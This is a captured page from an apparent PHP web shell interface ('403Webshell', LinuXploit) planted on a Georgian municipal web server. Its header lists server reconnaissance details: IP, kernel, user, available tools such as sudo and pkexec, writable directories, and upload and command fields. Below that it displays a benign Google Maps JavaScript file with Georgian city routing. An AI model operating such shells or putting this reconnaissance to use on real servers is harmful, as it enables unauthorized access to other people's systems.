403Webshell
Server IP : 80.241.246.6  /  Your IP : 216.73.216.188
Web Server : Apache/2.4.25 (Debian)
System : Linux kharagauli 4.9.0-19-amd64 #1 SMP Debian 4.9.320-2 (2022-06-30) x86_64
User : www-data ( 33)
PHP Version : 7.0.33-0+deb9u12
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/kharagauli1/moduls/weather/google/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/kharagauli1/moduls/weather/google/main.js
//geometry        
var directionsDisplay;
var directionsService = new google.maps.DirectionsService();
var geocoder    = new google.maps.Geocoder();  
var latitude = "42.023411";
var longitude = "43.193936";
var map;
var maxZoomService;
var drawingManager;
var city =   'აბაშა|ადიგენი|ახალგორი|ახალქალაქი|ახალციხე|ახმეტა|ამბროლაური|ასპინძა|'+
             'ბაღდათი|ბათუმი|ბოლნისი|ბორჯომი|ჩხოროწყუ|ჩოხატაური|ჭიათურა|დედოფლისწყარო|დმანისი|'+
             'დუშეთი|გარდაბანი|გორი|გურჯაანი|ჯავა|ქარელი|ქუთაისი|კასპი|ხარაგაული|ხაშური|ხობი|'+
             'ლაგოდეხი|ლანჩხუთი|ლენტეხი|მარნეული|მარტვილი|მესტია|მცხეთა|ნინოწმინდა|ონი|ოზურგეთი|'+
             'ფოთი|ყაზბეგი|ყვარელი|რუსთავი|საჩხერე|საგარეჯო|სამტრედია|სენაკი|სიღნაღი|სოხუმი|თბილისი|თელავი|'+
             'თერჯოლა|თეთრიწყარო|თიანეთი|ტყიბული|ცაგარელი|წალენჯიხა|წალკა|წყალტუბო|ვანი|ზესტაფონი|ზუგდიდი';


$(window).load(function(){
    maines();
});        
        
        
function finder_start(aa,bb){
    if(aa.value.length && bb.keyCode == 13){
        if($('#mar_').is('.checked'))add_class_checked_2($('#mar_'),1);
        
        maines();
    }
}


function initialize(){
  directionsDisplay = new google.maps.DirectionsRenderer();  
  var fenway = new google.maps.LatLng(latitude, longitude);
  var MY_MAPTYPE_ID = google.maps.MapTypeId.ROADMAP;
 
  var mapOptions = {
    zoom: 12,
    center: fenway,
    mapTypeControlOptions: {
     mapTypeIds: [google.maps.MapTypeId.SATELLITE,google.maps.MapTypeId.HYBRID,google.maps.MapTypeId.TERRAIN, MY_MAPTYPE_ID]
    },
    mapTypeId: MY_MAPTYPE_ID
  };
   map = new google.maps.Map(document.getElementById('map-canvas'),mapOptions);
   directionsDisplay.setMap(map);
   directionsDisplay.setPanel(document.getElementById('directions-panel'));
   controller();


  google.maps.event.addListener(map, 'click', function(event) {
    placeMarker(event.latLng);
  });
  

}

function drawing(th){
    if(!$('#draw_').is('.checked')){
        $('#drawing').val(0);
        maines();
        return;
    }
    drawingManager = new google.maps.drawing.DrawingManager({
    drawingMode: google.maps.drawing.OverlayType.MARKER,
    drawingControl: true,
    drawingControlOptions: {
      position: google.maps.ControlPosition.TOP_CENTER,
      drawingModes: [
        google.maps.drawing.OverlayType.CIRCLE,
        google.maps.drawing.OverlayType.POLYGON,
        google.maps.drawing.OverlayType.POLYLINE,
        google.maps.drawing.OverlayType.RECTANGLE
      ]
    },
    circleOptions: {
      fillColor: '#ffff00',
      fillOpacity: 1,
      strokeWeight: 5,
      clickable: false,
      editable: true,
      zIndex: 1
    }
  });
  drawingManager.setMap(map);
  
}

function placeMarker(loc){
  var marker = new google.maps.Marker({
      position: loc,
      map: map
  });
  
  google.maps.event.addListener(marker, 'click', function(event) {
    alert(event.latLng);
  });
 }
 
 function weather(){
      
      var weatherLayer = new google.maps.weather.WeatherLayer({
            temperatureUnits: google.maps.weather.TemperatureUnit.CELSIUS
          });
          weatherLayer.setMap(map);

          var cloudLayer = new google.maps.weather.CloudLayer();
          cloudLayer.setMap(map); 
 }
 
 function panoramio(){
   
  var panoramioLayer = new google.maps.panoramio.PanoramioLayer();
  panoramioLayer.setMap(map);   
 }


 function controller(){
     if(document.getElementById('weather').value == 1)weather();
     if(document.getElementById('pictures').value == 1)panoramio();
     //if(document.getElementById('drawing').value == 1)drawing();
     calcRoute();
 }
 
 function maines(){
      if($('#draw_').is('.checked'))$('#draw_').removeClass('checked');  
      if(document.getElementById('zip').value.length){
          geocoder.geocode({'address': document.getElementById('zip').value},function(results, status){
             if(status == google.maps.GeocoderStatus.OK){
                 latitude = results[0].geometry.location.lat();
                 longitude = results[0].geometry.location.lng();
                 initialize();
             }else alert('location not found');
        }); 
     }else initialize();
     
}


function calcRoute(){
  if($('#panel').is('._display_none'))return;  
  var start = document.getElementById('start').value;
  var end = document.getElementById('end').value;
  if(start == 'დან:' || end == 'მდე:')return;
  var request = {
      origin:start,
      destination:end,
      travelMode: google.maps.TravelMode[document.getElementById('mode').value]
  };
  directionsService.route(request, function(response, status) {
    if (status == google.maps.DirectionsStatus.OK) {
      directionsDisplay.setDirections(response);
    }
  });
  
}

function add_class_checked_2(a,b){
    var th = $(a);
    th.toggleClass('checked');
    if(th.is('.checked'))
        th.prev().val(1);
    else
        th.prev().val(0);
    if(b){
        if(b == 1)marshrute(th);
        else if(b == 2){_info(th);return;}
        else if(b == 3){drawing(th);return;}
    }
    maines();
  }
  
function marshrute(th){
    var panel = $('#panel');
    if(th.is('.checked')){
        var opt = '<select id="start" onchange="calcRoute();"><option>დან:</option>';
        var opt2 = '<select id="end" onchange="calcRoute();"><option>მდე:</option>';
        var array = city.split('|');
        for(var i = 0; i < array.length; i++){
            opt += '<option value="'+array[i]+', საქართველო">'+array[i]+'</option>';
            opt2 += '<option value="'+array[i]+', საქართველო">'+array[i]+'</option>';
        }    
        opt += '</select>';
        opt2 += '</select>';
        opt2 += '    <select id="mode" onchange="calcRoute();">'+
                        '<option value="DRIVING">სამანქანო</option>'+
                        '<option value="WALKING">საფეხმავლო</option>'+
                        '<option value="BICYCLING">ველოსიპედი</option>'+
                        '<option value="TRANSIT">სატრანზიტო</option>'+
                      '</select>';
        panel.removeClass('_display_none').prepend(opt2).prepend(opt);
    }else{
        $('select',panel).remove();
        $('#directions-panel').addClass('_display_none');
        $('._checkbox',panel).removeClass('checked');
        panel.addClass('_display_none');
    }
}  

function _info(th){
    var dir = $('#directions-panel');
    if(th.is('.checked')){
        $('table.adp-placemark:last',dir).insertAfter($('div[jsselect="legs"]',dir))
        dir.removeClass('_display_none');
    }else
        dir.addClass('_display_none');
    
}

function sleep(ms) {
    ms += new Date().getTime();
    while(new Date() < ms){}
} 

Youez - 2016 - github.com/yon3zu
LinuXploit